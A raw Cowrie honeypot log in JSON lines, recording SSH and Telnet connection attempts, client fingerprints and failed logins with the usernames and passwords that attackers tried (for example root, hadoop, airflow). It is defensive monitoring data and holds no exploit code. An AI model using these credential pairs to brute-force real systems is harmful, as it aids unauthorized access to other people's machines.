{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:03.824857Z","src_ip":"103.27.238.116","session":"9bbef4efbea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:04.094195Z","src_ip":"103.27.238.116","session":"9bbef4efbea5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:04.297876Z","src_ip":"8.210.75.243","session":"9d8c74597607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ronaldo07","message":"login attempt [root/ronaldo07] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:04.904998Z","src_ip":"103.27.238.116","session":"9bbef4efbea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:06.179999Z","src_ip":"103.27.238.116","session":"9bbef4efbea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":44748,"dst_ip":"10.17.0.5","dst_port":22,"session":"fec86cdb0045","protocol":"ssh","message":"New connection: 91.92.40.4:44748 (10.17.0.5:22) [session: fec86cdb0045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:14.915907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:14.918685Z","src_ip":"91.92.40.4","session":"fec86cdb0045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:14.999663Z","src_ip":"91.92.40.4","session":"fec86cdb0045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1234qwer","message":"login attempt [hadoop/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:15.243618Z","src_ip":"91.92.40.4","session":"fec86cdb0045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:15.975893Z","src_ip":"8.210.75.243","session":"9d8c74597607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:16.326430Z","src_ip":"91.92.40.4","session":"fec86cdb0045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:18.308010Z","src_ip":"8.210.75.243","session":"f95685fffc3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:38.666479Z","src_ip":"8.210.75.243","session":"9d8c74597607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":35480,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f8435c3c382","protocol":"ssh","message":"New connection: 103.122.221.179:35480 (10.17.0.5:22) [session: 2f8435c3c382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:39.276092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:39.278935Z","src_ip":"103.122.221.179","session":"2f8435c3c382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:39.531225Z","src_ip":"103.122.221.179","session":"2f8435c3c382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29101994","message":"login attempt [root/29101994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:40.290647Z","src_ip":"103.122.221.179","session":"2f8435c3c382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:41.545917Z","src_ip":"103.122.221.179","session":"2f8435c3c382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"41.4","message":"Connection lost after 41.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:43.911962Z","src_ip":"8.210.75.243","session":"9d8c74597607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:47.950632Z","src_ip":"8.210.75.243","session":"e1e8488680a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48108,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e3bb4f3ec08","protocol":"ssh","message":"New connection: 8.210.75.243:48108 (10.17.0.5:22) [session: 5e3bb4f3ec08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:10.053340Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":57692,"dst_ip":"159.203.135.109","dst_port":22,"session":"87d6297647b9","protocol":"ssh","message":"New connection: 162.241.129.208:57692 (159.203.135.109:22) [session: 87d6297647b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:23.904369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:23.909172Z","src_ip":"162.241.129.208","session":"87d6297647b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:23.937057Z","src_ip":"162.241.129.208","session":"87d6297647b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yearn2024","message":"login attempt [root/yearn2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:24.016514Z","src_ip":"162.241.129.208","session":"87d6297647b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:25.045052Z","src_ip":"162.241.129.208","session":"87d6297647b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47342,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c1baf2df1dd","protocol":"telnet","message":"New connection: 170.64.224.25:47342 (159.203.135.109:23) [session: 1c1baf2df1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:26.802859Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60174,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a48ecb90d7c","protocol":"ssh","message":"New connection: 8.210.75.243:60174 (10.17.0.5:22) [session: 7a48ecb90d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:27.241006Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":49382,"dst_ip":"159.203.135.109","dst_port":22,"session":"09d713a6a8d8","protocol":"ssh","message":"New connection: 159.65.58.200:49382 (159.203.135.109:22) [session: 09d713a6a8d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:27.492058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:27.617445Z","src_ip":"8.210.75.243","session":"7a48ecb90d7c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:27.794166Z","src_ip":"159.65.58.200","session":"09d713a6a8d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:27.797236Z","src_ip":"159.65.58.200","session":"09d713a6a8d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solosh","password":"123456","message":"login attempt [solosh/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:29.097388Z","src_ip":"159.65.58.200","session":"09d713a6a8d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:29.125776Z","src_ip":"8.210.75.243","session":"7a48ecb90d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":44608,"dst_ip":"159.203.135.109","dst_port":22,"session":"30cefa67031c","protocol":"ssh","message":"New connection: 103.15.222.183:44608 (159.203.135.109:22) [session: 30cefa67031c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:30.142814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:30.147397Z","src_ip":"103.15.222.183","session":"30cefa67031c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:30.374882Z","src_ip":"103.15.222.183","session":"30cefa67031c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:30.425572Z","src_ip":"159.65.58.200","session":"09d713a6a8d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23111980","message":"login attempt [root/23111980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:31.062235Z","src_ip":"103.15.222.183","session":"30cefa67031c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:32.292275Z","src_ip":"103.15.222.183","session":"30cefa67031c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:48.454169Z","src_ip":"8.210.75.243","session":"7a48ecb90d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":38478,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e675b3e463c","protocol":"ssh","message":"New connection: 144.91.108.61:38478 (10.17.0.5:22) [session: 6e675b3e463c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:50.250275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:50.254283Z","src_ip":"144.91.108.61","session":"6e675b3e463c","protocol":"ssh"}
